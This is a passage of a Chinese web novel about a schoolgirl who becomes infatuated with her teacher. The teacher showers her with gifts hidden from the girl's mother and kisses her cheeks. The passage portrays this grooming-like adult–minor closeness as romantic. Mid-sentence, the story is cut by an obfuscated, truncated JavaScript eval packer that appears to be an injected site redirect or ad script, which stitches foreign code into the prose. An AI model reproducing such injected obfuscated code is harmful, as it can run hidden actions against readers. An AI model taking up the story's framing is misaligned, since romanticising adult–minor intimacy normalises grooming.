把她有些宽松的休闲外套拉开拉链,然后又收在一起,抱着手臂。说不清是冷还是热的斜靠在多媒体讲台上看过去。 下了课就牵着余杭清的手,带余杭清出去吃好吃的。她总是弯着腰,侧着脸,穿着白色t恤,又沾上油点。“你想吃什么呢?宝贝。” 然后迫不及待的牵着她的手,从同学们的方阵里脱离出去,到小吃街。 当时的小学旁边就有幼儿园。余杭清依稀记得她带她吃过很多很多,小孩子才能吃的小发现。 那个时候县幼儿园门口好像有一家那个什么爆浆玉米,甜甜糯糯的外头裹着一层炸的金黄酥脆的壳,再撒上一层水果或是甘梅粉,外酥里糯,很讨人的欢心,就是吃完粘一脸,有种很不体面的滑稽。 只要余杭清的目光投射上去,对方就会很自然的上前一步排队,然后买回来,把东西好像毫不在意似的单手递到她面前。“是这个吗?宝宝。” 她总是装作不在意,又十分清楚余杭清的在意,每一次都精准的踩到她最想要的那个点,又不为她多施加任意一层负担。随口一咬一下,然后给小姑娘递过去,“昨天你先吃的,今天轮到我了。” 小姑娘没什么反应,接着就吃了。啃的脸上都沾着黏腻的酸梅粉。吃着的时候也说不出什么话来,声音也黏黏糊糊的,“废话,那吃之前还要跟我解释一下。咱俩不一直这样吗?那我吃完给你留一口,也没见你嫌弃我呀。” 中午和煦的太阳照在身上。余杭清好像除了第四节课之外,没再感受过饥肠辘辘的感觉。又有了一轮新的太阳。 其实喻衍在此之前是没吃过这家的爆浆玉米的。 当时妈妈买了,说好等着一起回去吃,结果他作业没写完,在补课班,多写了十几分钟,回去说怕凉了。妈妈就和妹妹分着吃了。 没什么关系,只是后来就不怎么期待,饿,也不想着吃。 期待是会随着等待减半的,一次减一半,减到最后就剩一条薄薄的线,有,那很好,没有,那也只是在线上线下徘徊着,没什么区别。 任由着这种浅淡的怨念流淌着,当满足小姑娘的时候,那一点小小的缺口也就被填起来了。 其实那种玉米很好吃的,里面是鲜甜的水果玉米,外面裹着一层炸的金黄酥脆的壳,撒上粉。就这种组合,怎么做也不会难吃的。 有的时候会在学校附近的那个玩具店里买一杯老式冲泡奶茶,要么是草莓的,要么是香芋的。 那时候默认女孩子都喜欢粉色的,所以很多老板就是每天可能就冲那个草莓味儿,会有一排子那种玻璃罐子里面放的那种冲泡的粉在 那个店里面,但是草莓味就会被单独拿到前面冲泡的那个台子上面,着急走的话大部分人手上拿的就是草莓味的。 但是喻衍其喻衍人不一样,喻衍会先付钱,然后站在那慢慢等,最后拿着一杯紫色的香芋味的出来。很特别,也很神秘。 好像很喜欢似的,可以为了它浪费自己宝贵的时间,又好像没那么喜欢,喝两口就不想喝了。 余杭清不一样,余杭清一个人喝俩。 喻衍不喝余杭清喝。 有的时候余杭清的先好了,余杭清就让喻衍先喝余杭清的,喻衍倒也不客气,直接就是一大口能下去一两厘米那种。 余杭清面上看着护食儿,好像瞪喻衍一眼似的,实际也不生气。“你干嘛啊?一次喝这么多!” 喻衍要哪天不喝了余杭清才生气,余杭清会说,“你搞什么鬼啊?难道嫌弃我?!” 然后就能看到那个恶劣的女人一口气把她杯子里剩下的所有吸的一干二净,然后朝她晃晃喝干净的杯底。“不嫌弃你,所以我喝完了。” 还会撅着嘴,调笑着看着她生气。 你怎么会生气呢?碰见这样好的一个人,她那么那么多好吃的,都是这个人双手捧到面前的,一杯奶茶又算得了什么?她丝毫不嫌弃的含住同一个吸管,才显得暧昧亲近。 可是余杭清这点儿少女心事丝毫不敢泄露出来,她隐隐约约的知道,这好像并不正常。 那种全是植脂末冲的,稍微喝一喝就很腻,后来又不怎么喝了。 只是偶尔在见到的时候会觉得新奇,然后回忆起,噢,小时候见过的。 喻衍常买。 这是刚开始的时候,好像越往后喻衍对余杭清就越是纵容。 其实从一开始就是这个纵容程度,只是余杭清胆子小,没敢试探罢了。 大概人都是有那种劣根性的,喻衍越是纵容余杭清就越是忍不住得寸进尺,想看一看喻衍对余杭清的忍耐程度到底到哪一步。 所以从第一口讨好心的先递给喻衍喝,和喝喻衍剩下的,到后面拿到手就喝,两个人喝一杯。 余杭清走了好多步,才终于被喻衍养成了现在的样子。 余杭清是个讨人厌的坏小孩,但是喻衍养出来的,所以再讨厌喻衍也得忍着。 余杭清总是有些恶劣的渴望喻衍喜爱包容余杭清的一切,就像余杭清在吃饭上的坏习惯,又或者说写作业的时候偷工减料。 余杭清总是自以为聪明的做着这些看似试探别人底线的行为,像一个踩点的小偷。 她知道这不对,但是余杭清太渴望喻衍爱余杭清了。 余杭清希望有一个人能够看到余杭清所有看似机灵的所谓小聪明的背后,有一颗脆弱的,想要逃避的,怯懦的,可怜的心。 用喻衍强大的臂膀拥抱着余杭清,抚摸着她,告诉她,“那你先吃吧,宝宝。” “真没关系。” “我永远都不会嫌弃你。” 后来立过冬之后,早晨就变得很冷,对方带的早餐里就会加上暖和的豆浆,或是热好的牛奶,草莓的葡萄的,香橙的学校门口三块钱一杯的冲泡奶茶,什么都有,总是暖暖和和的,灌到肚子里面去。 哪怕她第一天做了错事,哪怕他被打了手心,哪怕对方横眉冷对的,瞪过来一眼说“烦死了谁爱教你你让谁教去。” 可是第二天她还是会准时站在教室门口,哪怕冷着脸气冲冲的把吃的东西放到她余杭清面前的水泥护栏上。“赶紧吃,你看你这一天烦不烦人呢你。” 不想认错的话就翻个白眼,顺手把东西接过去。“不吃白不吃,你管我呢。” 直到后来的某一天,听到对方有些黯然神伤的那句。“我管你啊。”才恍然惊觉自己犯了多大的错处,给谁甩了脸色。 喻衍持续而稳定的偏爱,让余杭情万分安心。 立冬之后,喻衍带的早餐里就又掺了点东西,有时候是一双毛茸茸的白色猫爪露指毛绒手套,有时候是一条卡其色的羊绒围巾,有时候是一双加绒的,可爱的绣着小熊的袜子,被单独放在一个漂亮的包装盒里。 余杭清总是迫不及待的戴上,然后伸到女人面前,看着女人对她笑,夸她,“很漂亮要戴好,注意保暖,知不知道?” 这个时候只需要乖乖点头,然后稍稍低头示好,让对方摸一摸头就会听到她爽朗又愉快的笑。 成了两人共同的惯例。 那是余杭清印象里布过最暖和的一个冬天,是初雪降临的那一日,下了课他就被女人单独牵着手,提前从学校溜出去,到旁边的品牌店里买衣服。 羊绒毛衣,加绒打底裤和短款羽绒服三样必备的,喻衍挑了最好洗耐脏的黑色,又寻了最暖和包裹着的合体版型,直接扔到女孩手上。“去试,合适我就买给你。” 女孩瞧见黑噗噗的衣服只低着头轻声应了。“嗯。” 不是她不想给余杭清选择,只是她给不了,连带着她自己身上此刻穿的也就是两百多块钱的反季打折的羽绒服。 这是她和女孩一起过的第一个冬。 此刻的喻衍还没有经济能力让女孩随意挑选,只能挑选尽量耐穿的款式,让这样的温暖能多伴随女孩几天。 这个时候的她毁衣服的能力是很强的,在地上摸爬滚打蹭上脏之后,觉得不好看就扔在一旁不穿,甚至有时候为了要风度,完全不要温度,校服里面大冬天就套一个薄毛衣的事情也常有。 等女孩换了衣服出来就发现她穿着其实是很好看的,这个时候还没有到青春期二次发育,女孩的身体偏向那种清瘦型,黑色紧身毛衣穿起来有种银若美,尽管有些臃肿的厚打底裤穿在他身上也显得轻薄纤细,那件黑色羽绒服的版型确实不错,极为经典似的做了隐隐的收腰,穿上来整个人细长的一条,特别漂亮。 喻衍眼前一亮,却还是竭力压制着自己心里的情绪想在,这种好洗的颜色里尽量给女孩一些多的选择。“怎么样?这个款式你满不满意,黑色要耐脏一点,我是建议你选黑色,然后有没有其他更喜欢的款式还是怎么样,我觉得这个收腰显得你腰特别细,很好看。” 余杭清已经沉浸于衣服的舒服里了,他没想到手上拿着这么轻的衣服穿到身上,一下子整个人都暖和起来,没想到这种套脚的裤袜真的蹬在腿上的时候可以不勒着脚后跟儿,没想到那件其貌不扬的黑色高领毛衣穿到身上的时候,让她忍不住想把下巴收到毛衣里蹭来蹭去,好软和。 她说不出什么赞美之语,只是没来由的沉溺。“挺好的。” 喻衍的眼光怎么能这么好呢?这一套下来简直暖和不可思议,甚至比在身上套了两层保暖线裤,又套了加绒校裤来的暖和。 于是女人毫不犹豫的付了款拎着它,冗杂繁重的校服连带着里面套的搭绒毛衣和线衣以及两条线裤子,还有校裤,一起杂七杂八的装了两袋子,让余杭清有些自惭形秽的低着头。 她没用过这么好的东西。 八百多块的羽绒服,两百多的打底裤,三百多的羊毛衫,加一起都过千了。哪怕只是单调枯燥的黑色也绝对是无可比拟的厚重的爱。 喻衍自己受过冻,就希望她的女孩能过个暖冬。 后来余杭清听到对方跟自己母亲打电话说,羊毛衫跟打底裤是她自己穿小了的,那天刚好下雪,自己的衣帽湿了,怕冷才让孩子穿,回去反正也穿不了了,至于上衣是网购,买错了就想着退不了,那就让孩子拿去穿吧,穿着也挺好看。 余杭清不明白为什么明明是老师直接带自己去专卖店买的呀,试好了才掏的钱,为什么说是不要了,穿小了不合适的呢? 大概是为了不让妈妈有负担。 小姑娘黏人的紧,消息一条一条的弹过来。 [为啥呀?为啥呀?为啥呀] [悄悄给我买衣服,还不让我妈知道] [不敢想你有多爱我,真的是。] 还发了个你也为我着迷吧的抽象表情包。于是喻衍。朝着面前的英文字母的表情都松懈了些,有种诡异的好笑。淡淡打过去几个字。 [我也为你着迷呀。] [宝宝。] 她甚至连个感叹号都没打,也没加那种妖娆的小波浪,发过去却引起余杭清一阵脸红,躺在床上连着滚了好几圈。 [我又不用你给我什么。] 那其她大人对余杭清好,就像妈妈说的那样,就是因为爸爸妈妈才对你好的,给你买东西,到时候都要还回去的。 [你穿着开心就好。] 只有这个人不一样,喻衍从认识她起,她就是余杭清自己,是余杭清这个人,她给她买东西,不图她家长的回报,也不图其她的什么,只图她开心。 别无所求的爱其实最难把握。 她别无所求,你便也别无可用。 那一年余杭清写了很多文章。关于她的发丝,她的眉眼。她侧脸锋利的下颌线。她的爱时而具象在某一点,时而聚焦在她瘦削的肩,时而聚焦在她整一个袅袅娉婷的背影。 她终于写出能让她稍稍满意一些的作品了。 她在她的作品里写她,极尽铅华的写。恨不得把所有美好的词句都堆砌上去,犹嫌不够。 她在一本本书里给她配上一个有些普通的爱人,那个爱人左融一点儿,右沾一点儿,跟余杭清自己脱不了干系。 悄悄发在网上的时候,总有人过来看。大概是那个时候小众性向没有被网络传播的这么广泛。再加上笔触。像极了那位,多少也也有人过来吃点儿代餐。 给小姑娘吓得连夜删号跑路,结果反倒坐实了是小号的谣言,不过小号的话,岂不是喻衍本人? 千秋万载,青史同名。 这八个字从脑袋里面蹦出来的时候。晃的余杭清简直都有些眩晕了。整个人脸颊发烫,删除键怎么也按不下去。 是的,她只是删除了账号,又没删除文稿,word文档还是有的,甚至就存在喻衍的电脑里每次还电脑都是一场豪赌。 不过这家伙是个电子白痴。实在懒得学,碰见什么不会的,就撒着娇让余杭清来。 每当这个时候。她就扯着她的衣袖晃来晃去的,脸也靠得近,鼻尖跟鼻尖的距离只剩五厘米。只隔眼睛前头只隔着她脸上薄薄的眼镜片。 这人总无赖似的,眨巴着眼睛晃的人,人说不出什么拒绝的话,“求你了宝宝,这个我真不会,明天上公开课要用的,我真恨死这个ppt了,你帮我做一个嘛~” 实际上她哪里不会做,纯懒得慌。 雪花纷纷扬扬的落下来,天整个都是阴的。气氛有种诡谲的平淡。 前一天早上微机老师布置作业,让做个简单的ppt,介绍一下做ppt的方法,小姑娘认认真真做了一个多小时,好不容易保存好。 拷在u盘里出发,结果第二天。早晨想起来弄个错别字。正准备修的时候才发现根本没拷上,而此刻电脑还在网吧,不出意外应该是格式化掉了。 微机课在第三节,还不像别的作业可以前两节的时候抄一抄补一补,纯完蛋她妈给完蛋开门,完蛋到家了。 大课间就二十分钟,她下了课就过来,现在也就剩十七八分钟了。 余杭清一拍脑袋,眼泪都快掉下来了。几乎是下一瞬就自然而然打开了喻衍桌上的电脑,“我天,我微机作业没拷上,昨天不该去网吧弄的,这下真完蛋了。”说是完蛋,手上却一点也没停,立马打开ppt开始重做。 喻衍顺手从底下拿出给余杭清提前备好的鞋套,塞在她校服兜里,然后自然而然的接过鼠标,“行了,起开,我来做。” 喻衍打字速度很快。这么长时间。小说作者也不是白当的。做ppt的流程也简单,基本上熟记于心。习惯性把分体键盘放在膝盖上迅速打字,然后用鼠标一页页切换过去。 老师要求也不高,一共也就十张,甚至抽空还加了个动画效果。虽然并不复杂。 有同学过来问问题。喻衍甚至抽空从旁边的历史书架上拿出一本教辅递过去。抬眼向那个学生一笑,“这本教辅上有参考答案和解析,你先对照一下,然后下一节课来找我,我讲给你听好吗?” 于是那个学生如梦似幻的走了。 余杭清看她跟看神仙似的啊,平常不是这也不会,那也不会,怎么到了关键时候这么厉害。 等她把桌上准备下节课要上传的文稿整理好,塞到包里也,那人竟然把ppt也做好了。 简洁明了,深入浅出,一眼看上去就知道在讲什么。配色清晰和谐,完全符合科普调性,又不显得浮夸,十几分钟的成果,无功无过。 文件夹被递过来,连带着拴在小小钥匙扣上的u盘一起,余杭清才完全缓过神来似的看向她,“你什么时候学的?怎么这么厉害啊?” 喻衍眉梢一扬,“我一直都会啊,只是懒得做而已。” 靠,那不是把我当苦力? 余杭清眼带嗔怒。怒目圆瞪的样子也可爱的紧,硬生生把凤眼瞪成杏眼似的,“你会做还不自己做,每次上公开课的ppt都要我帮你?!” 喻衍一摊手。出口却是软绵绵的夸赞,甚至还探上前来在余杭清脸上亲了一口,“那怎么办?姐姐,你做的好看吗?就想让你帮我做呀。” 上课铃来的急促,迅速,楼底下班上去微机课的队已经排好了,正等着上楼余杭清拔起腿就跑,然后毫不意外的被搂着脖子,在另一边脸颊亲完一口又亲一口,“好了宝宝,上课去,别生我气哈。” 余杭清捂着被亲过的发着烫的脸颊,往楼下跑,好在微机课在二三楼中间上去,老师办公室就在三楼。离得近还稍强一点,好不容易归了队,脸颊却还是火烧似的。 忍不住嘴里嘟囔着骂人,“哎呀,真是讨厌死了,下次再也不跟你做了……” 其实下次还做。 甚至连带着。电脑手机通讯工具,电子设备一类,懒得弄的全部甩到余杭清手上,让她来就行。 问就是,“你年纪小学东西快吗?那怎么办啊?我只能靠你了,宝宝,求你了吗~”一套丝滑小连招下来,附带香吻一个,给小姑娘迷的半天都找不着道。 让她来就太方便了,连密码都是余杭清随手设的,直接填了喻衍的生日。想藏点东西就更简单了。喻衍最恨的是什么?是数学,只要把文件名命名为小鱼的数学资料,她就会碰也不碰一下。 屡试不爽。 每次在评论区看到好配好好磕的时候,嘴都快笑裂了,最终只默默点个赞。 删都删了,最后又悄摸建了个粉丝群,把txt发群里,反正也不靠这玩意儿赚钱。大家口口相传,能有更多人看也是好的。 一定意义上,读者的评论也像是一种精神意义上的慰藉,她爱她爱的像只藏头露尾的老鼠。 一旦意识到,便恨不得在地上打出个深到地底下的洞,然后钻到地心里去。 她可以随便动她的电脑,吃她的东西。穿她的衣服。可以随意翻看她的日记、随笔,甚至电脑存稿。 这是她纵容默许的。 是她毫无保留的真诚和信任。 但是余杭清也丝毫不怀疑,如果自己做出什么让她难以忍受的坏事来,对方会毫不犹豫的把自己抛弃掉。 她是个极其果决的人。果决到好像不会为自己多余出来的任何主观情感买单。 她对别人好,只是因为她懒得对别人坏。 如果有人因为觉得她人好心软,就刻意欺负她的话。她绝不可能让那人占到一点便宜。 余杭清见过她跟抄袭她的早年亲友撕破脸的样子,直接在微博上挂人。调色盘一条条列的清清楚楚。Pdf做了十几页。 平常不吭不响的。一出手当场就给对方捶死了,直接锁文封号。 余杭清没那么大的胆子,她只是试图从那些文字里读出她的心绪,念了又念,读了又读。文字里就不由得带上对方的影子。 一下子文笔也好了许多。投到外头的纸媒里,人家也肯要了。稿费不多,就几十块钱,不过会寄样书到学校满足余杭清很大程度上的虚荣心。 这本书的发行量至少要在两千册,那么至少有两千个人会看到这个故事,如果也像我们在学校里一样,几个同学借着互相翻,那就再翻一翻,会有三四千人看到,那就太罗曼蒂克了。 有这么多人见过我写给你的情书。 这是一件多浪漫的事啊。 余杭清兴冲冲的一路从门卫处拿了,要说跑到办公室去。雄赳赳气昂昂的的拍在她桌面上,“快看,我发了一本微小说。” 女人于是从繁重的教案中抬起头来,向她投来有些欣喜愉悦的一瞥“真的假的啊,我们家小宝也太棒了!” 喻衍拿着书宝贝似的,翻也不敢翻,封皮儿都没撕开,先转来转去,上上下下瞧了好几遍。 这人自己就是个畅销书作者,认识她之前就发过书了,可瞧着她看自己书的样子,实在是让人忍不住心痒痒。 勾人的很。 外头的塑料封皮儿被她小心翼翼的撕开。喻衍迫不及待的翻开目录,寻找小孩的笔名。 喻衍猜是当初的那个,她很小时的时候还不认识那个字儿,就用了那个名字了。 一溜烟翻过去,果不其然。小说写的还不错,虽然结构文文笔稚嫩,但情绪调动力很强。感染力也不错,真实性也高。一些小特点甚至跟喻衍自己都对的上。 于是喻衍拍拍小姑娘的肩膀,以资鼓励,“写的不错啊,情感又充沛,还知道联系现实,挺好的啊,你看你这这两点就写的很不错嘛,不会过分夸张,跟我们真实工资就稍微有一点考量,不过你这师生恋什么的,能过审也是真牛逼啊,纸媒也是敢印。” 她啧啧赞叹着,把文章翻来覆去看了好几遍,甚至夸她写的真,就是没发现她藏在文章里那点儿微末的情。 真实这一块儿。 小姑娘扶额苦笑。 挺好。 —————————————— 过了腊八就是年,腊月十九号喻衍就拿到了自己的身份证。 那时候办身份证说简单也简单,找个村委会开无身份信息和长期居住证明,然后带到辖区派出所做身份采集。之后发个寻亲公告,三个月没人领就能拿集体户口落户了。 注册网店的时候去派出所登记的。 到年底刚好挂满三个月。 那时候管的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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余杭清不知道说什么。这该怎么说,“六,涉嫌伪造户籍信息要担责的,你知不知道?小心你明儿就被抓,你还是人民教师呢,往学校提供的学历信息,那你年龄最少也得大学毕业啊,除非你证明你当时跳级了。” 心头那点火一下子就被浇灭了,嗯沾沾自喜,却怎么也挡不住。声音拉得长长的,像是甜丝丝的棉花糖,“我不管嘛,我要你夸我漂亮年轻啊,你夸了我就去派出所报备嘛,我真错了,我就想听你夸我~” 于是小姑娘就开始机械性的夸人,“哇,姐姐你好漂亮啊,什么沉鱼落雁,闭月羞花,完全都比不上你啊——” “停,倒也不必如此夸张,算了,真扫兴,不跟你讲了。”对话戛然而止,手机就被撂在一旁。 会被讨厌吗?对方分享喜讯,自己却啪的一盆冷水泼上去。 会被讨厌的吧。 余杭清不想被讨厌。 却也不想她知法犯法。 喻衍像是会读心术似的,在挂电话之前最后又加上去一句,“骗你的啊,我今年二十四了,跟人家民警说好了,是穿着你校服,所以人家才问我是不是十八。” 行吧,二十四就二十四。也挺年轻的。 要是之后再扯出学历造假什么的,才是真够喻衍喝一壶的。 ————————————————— 爆竹声中一岁除,春回大地万物苏。 出租屋的墙上挂着个不伦不类的英式大摆钟。起到一个营造文艺写作氛围感的作用,在此刻清晰钟声的映照下,就显得格外孤独冷寂。 外头噼里啪啦的鞭炮声响起,喻衍的手从键盘上拿下来,后知后觉的意识到新年快到了。 难忘今宵结束,小姑娘的电话就打过来了,一阵阵急促的响。“快接我电话呀,快接我电话呀!” 喻衍会心一笑,接通电话放在耳边,就听见对面传来柴火噼里啪啦烤着的声音,连带着屋子里,一窝大人吵吵闹闹的碰麻将。 “姐姐,想我了没有?!” “我可是专门卡着点儿打电话过来陪你跨年的。” 钟声撞了一下,喻衍看着面前泛着莹蓝的码了一半字的屏幕。没忍住,把手指放上去接着码。立即响起噼里啪啦的键盘声。 新年没什么好过的。 还不是得做一样的事情,小说照样得更。安全教育照样得往微信群里发。按计划要写的教案也照样得写。客服也得接着干。 为了省电,连房间里大灯都没开,就面前。二手笔记本电脑屏幕还亮着,时不时还死机。 新年并不会改变什么。 可是她听到小姑娘轻缓的呼吸,随着最后一生中慢慢的敲响,一起撞进她的脑海里。 “喻衍,新年快乐。” “给你买的蒸碗在小冰箱里。你有认真吃么?” “今天顺着我一次好好吃饭好不好?我妈包的饺子,我也在冰箱给你冻了几盘子。” “过年要热热闹闹的。”小姑娘的声音极低极柔,像是哄小孩似的。“你去吃点饭好不好?” 听到自己刻意压制,却实在不体面的上下颤抖的声音,“好。” 只有上下两层的冰箱,冷冻层被塞得很满。蒸碗足足塞了十二个。饺子也挺惊人的。就家里的瓷盘子,粗略看下来得有六七盘儿。 出租屋里没有煤气灶,小电磁炉功率不行,烧水烧的很慢,烧了好半天,也没见咕嘟咕嘟冒泡。 喻衍面无表情的。站在电磁炉前看着上面的不锈钢小锅发呆,另一只手拿着一盘子不知道是什么馅儿的饺子。 她不知道该跟余杭清说什么,所以干脆什么都不说,两个人互相听着呼吸声混着电流,没什么意义,却也舍不得挂断。 等锅里咕嘟咕嘟冒泡了,就掀开盖子,烫的一激灵。也不吹。用手再去掰,冻得梆硬的饺子一个个下进去。跟对面汇报似的,“我煮了。” 小姑娘像是得了什么奖赏,一下子整个人一激灵坐直了似的。传来有些雀跃的夸赞声,“你很乖。” 喻衍有些不好意思。把掰掉的饺子下进去,用勺子背面推的搅开,“谢谢夸奖。” 她总是不好意思讲,其实她很喜欢听别人夸她的。夸她瘦,夸她漂亮,夸她聪明,夸她书写得好。夸她教的不错,夸她什么都可以,她喜欢人夸她。 反正她又不是别人。 也不死死惦记着丢脸什么的。 锅里咕嘟咕嘟的冒着泡,一会就开了。喻衍屏息敛声听着耳畔的呼吸声,一时忘了就看见白泡翻涌开来。把锅盖高高顶起有些溢出来,电磁炉发出呲啦的响声。 余杭清被吓了一跳,连呼吸都停滞了一瞬,“你没事吧?老师。” 喻衍平静的用抹布随手擦了,然后加半碗水进去。“没事儿,煮饺子,没注意水溢了。” “手没事吧?”她的声音都变得有些轻,像试探什么似的。混杂着浓浓的担忧。 喻衍突然就有些想笑。 “没事,烫了也没事。” 电话说的被挂掉了,对方很生气恼怒似的,连最后一句话都没留下。 过一会儿好几条语音一并砸过来,砸的喻衍头晕眼花的。 “什么叫没事?什么叫烫了也没事,你就这样照顾你自己的,连饭也不吃。” “我给你放好了,你为什么不吃?” “我问你。我没给你留便签吗?冰箱上贴了你没看见吗?” “过年你一个人孤孤零零在出租屋里,我让你来我家你还不来!” “还码字,还码字,你一天都快马上生产队队的驴了,少更两张是能被系统电死吗?” “人家都搁那过年呢,你搁这噼里啪啦的打来打去,那破钟搁那敲敲敲敲敲,你也不嫌难受。” 甚至还来不及细听,就赶紧一条一条保存下来,怕她恼羞成怒,撤回去。喻衍打电话的时候习惯开录音。这会儿也没舍得关。 她在她心里一条一条的回。 我就是这样照顾我自己的。 我不知道你给我放好了。 冰箱上贴的我没看见。 我不喜欢去你家,我还是你的时候,也不喜欢在你家过年。 写字很安全,很舒服。键盘啪啪响的时候像是在弹钢琴。 我专门买的钟,就要那种凄清孤寂的be氛围感,如果你不喜欢钟的话,好像大概也不会喜欢现在的我。 她在心里倒计时,果不其然。还没来得及回复完,小姑娘就从后头倒着一条一条往前删了。见面突然开始变得空荡荡,只剩下一条条灰色白字的对方撤回一条消息。 最后蹦出来一一句文字。 [对不起。] [今天是新年,我本想让你开心] 锅又溢出来了,大白泡落在电磁炉上刺啦的响,喻衍干脆连带着整个锅一起端起来放到一边,再用抹布去擦。 肉饺子得煮三煎,不过两煎其实也行,就是赌生熟而已,生的熟的都没关系。 出租里屋里不怎么做饭,顶多煮点方便面啊,挂面什么的,只能用汤勺一个个舀。白胖的饺子还算漂亮,大概是煮的时间短,一个都没破。 喻衍用目光数过去,不多不少,正正好十二个。 新年的钟声也是十二响。 赌一把吧,生的熟的都没关系,于是喻衍把饺子放进盘子里用筷子夹起来,也没吹,一整个塞到嘴里。 烫得直吸气。连带着刚刚没有完全滚落下的眼泪也滚落下来了。 果然没熟。 喻衍平静的从盘子底翻过来,倒到锅里,又煮了两煎,确保熟了才捞起来,这会就破了好几个了。捞的时候也不容易沥汤。 也懒得调什么蘸料,就白口吃。 现在嘴里是那种面煮的过分糊化的黏腻。里面的馅儿进了面汤味儿也不那么重,就是吃着吃着觉得还挺难受。 她竟然连这样的味道都觉得想念。 喻衍已经很久没吃过妈妈包的的饺子了。 她不喜欢过年的。 万家灯火,从一开始就是喻衍当柴火。 她不喜欢她包一家人的饺子,不喜欢她熬着夜炸果子,蒸包子馒头。更不喜欢卤卤味的时候是守那个卤锅,一守就是一晚上。家里随便来几个人,第一件事就是先去弄几个菜。 她不喜欢她辛苦的做菜,但是又喜欢吃她做的菜,这是一个非常矛盾且抽象的事情。 她双标到,只肯容忍妈妈在县上为这个小家庭做一点不那么累的菜,想做就做,不想做就出去吃,或者煮泡面什么的都可以。 但是她不喜欢这种在老家一大家子人等着她一个人动弹,然后不做还不行似的。 但是其实难道小的家务劳动就不是劳动吗?她不累吗?不用费心思吗吗?她希望她出去做一些自己喜欢的事情。 但与此同时妈妈做家庭主妇。又确确实实是完全有利于她的,她喜欢吃她做的饭,喜欢她用心花时间做出来的东西。 不喜欢随随便便拿点咸菜,楼下买个馒头什么的。 这让她觉得既愧疚又奇怪。 可是此刻这锅煮的完全没了原样的饺子,吃的她眼泪直流。 她以为她不喜欢过年的。 新年是一个个冷冬。 ———————————————— 光阴的蹁跹大概是女人丝丝缕缕,长长的发丝。 被微凉的晨风吹到余杭清面前,她忍不住伸手去摸,就缠在她的食指上,调皮的转个圈。 她忍不住有些变态似的抬起那根食指轻轻放在自己鼻尖,仿佛那点儿橙花的香气还没有消散尽。依旧萦绕着盘旋。 余杭清轻声呢喃。“姐姐,你好香……” 喻衍不明觉厉的弹她一个脑瓜崩。“什么香?” 不管分到哪个班,她们还是习惯性的趴在预言班前的栏杆上一起吃着早饭,有时候是包子,有时候是肠粉,有时候是夹馍,有时候是炸的很香的韭菜盒子,似乎于航青在哪上课,喻衍就会突然调去教哪个班。 像她曾经承诺的那样,每天都给她带早餐。 “你今天怎么这么奇怪?” 上了初中之后,少女的身量很快抽条发育,第二性征显现,她忍不住向前的时候,胸就撞到了喻衍的胳膊肘。 喻衍慌不择路的避无可避,只好用轻微的动作提醒。“你现在胸部发育了,不要再靠别人这么近。” “你不是别人。”少女憋不住话,倔强的瞪着面前的女人,一点胆怯也无,几乎是一戳就生气。 她知道自己像变态似的闻别人的头发不对,可是对方的话也叫她生气,怎么了?不就是长了一点胸而已,每个女人都有,她又不是没有,怕什么。 干嘛要保持距离? 可是眉头紧紧。捏起皱褶的时候,她忍不住又摸了摸自己的额头,摸到她常用的雪松护手霜的气息。 她开始拉东拉西的瞎扯,试图跳过这段尴尬的经历。“你怎么忽然留了长发?我还以为像你那样精心打理的短发,需要每阵子都抽时间打理。” 喻衍把自己的秀发往下顺了顺。 不明觉厉的看向年少时的自己。“你不是喜欢长的吗?之前剪短,一是追赶潮流,二是方便打理,后来又想着做穿搭博主,长发会有氛围感一点,就干脆留长了。” 余杭清不明白什么是穿搭博主,至少那个时候的余杭清不明白,所谓的氛围感也像是个很遥远的词。 不过追赶潮流,显得一语中的,而第一句那句喜欢,更是让人觉得像刻意勾引。 她忍不住不偏不倚的看回去,当着她的面就用几根手指捞起她额边的碎发,用手一点一点轻捻过去。像情人间的呢喃,“对的,姐姐,我喜欢长发。” 暧昧在空气里流转。 喻衍不知道是什么导致了现在的情状。 她的关系似乎拉近的太过分了,小姑娘稀奇古怪的,不知道心里…… 于是不得不转移话题。 喻衍牵着她的手,把她拉到一边儿,然后认认真真地跟余杭清解释,“主要还是想做博主分享,倾向于穿搭那个方向。分享一些搭配衣服的心得之类,跟网店打配合。挣点钱。” “至于氛围感,就可以理解为营造一种和衣服场景相匹配的氛围,显得整个人更优雅漂亮一些。” 真厉害呀,懂得这么多余杭清听都没有听过的名词。 她不知道她是重生而来的,只是自然而然的仰望着她,仰慕着她。 不过喻衍穿衣服总是舒适自然,大方端庄,又好像有一点格外亮眼的地方,叫人觉得漂亮。 其实很早的,很早余杭清对喻衍的印象总是很好,温柔漂亮,包容,而且是那种柔和又有力量的包容,仿佛什么问题都能解决,什么情况都张弛有度。 能帮余杭清没及格的数学试卷签字,也能带着余杭清在学校门口的小吃店大吃大喝,甚至能一眼瞧出来余杭清早上吃的是什么。 可是关系越近,这个人的小脾气就越发重了。 喻衍开始对余杭清有所期待。 冬天放学要请喻衍吃学校门口的烤肠,夏天放学要把冰淇淋分喻衍一半。 如果这一半分给了别人,就会看到喻衍有些不好看的脸色。 她的眉间会拧起深深的皱褶,然后那一半弯弯的眉毛也被迫拉的平直。“你分给谁了?你跟她比我还要好?!” 语气尖锐刻薄,咄咄逼人,似乎下一秒就要连带手上的小包一起砸到余杭清脸上。 余杭清怎么忍心让喻衍这样不开心呢?又或许她本来就是一个相对来讲比较喜欢察言观色的人吧。总是惴惴不安,总是试图从别人的脸色里分析出什么。 所以本能的晃着她的手臂。“我今天抄了她的作业,跟她说好的,你不开心的话,以后我就只分给你。” 然后她的神色才好一些,施恩似的把手上的小包塞到小姑娘怀里,砸过来四个字。“你帮我提。” 于是小姑娘像获得什么奖赏似的,把那个包挂在脖子上,空出一只手来牵着她的手臂。 她不敢张口去说,怕这人恼羞成怒,却在心里悄悄的告诉自己。 “承认吧。” “姐姐。” “我跟朋友分享一支冰棍,你尚且不乐意。” “你也不干净。” “你也和我一样,有独一无二的占有欲。” 9. 第 9 章她细致妥帖又浑不在意 之后的许多天里,余杭清用便签纸写小纸条贴在作业本子上交上去。“我想吃校门口的关东煮。” 作业本发回来的时候,就会看到底下有人第一。黑色签字笔画的玫瑰,附带两个字。“附议。” 平日里给别的学生回复,总写的工整字迹,到了自己这儿却龙飞凤舞。生怕自己看懂了似的,偏偏一眼就能读懂她的用意。 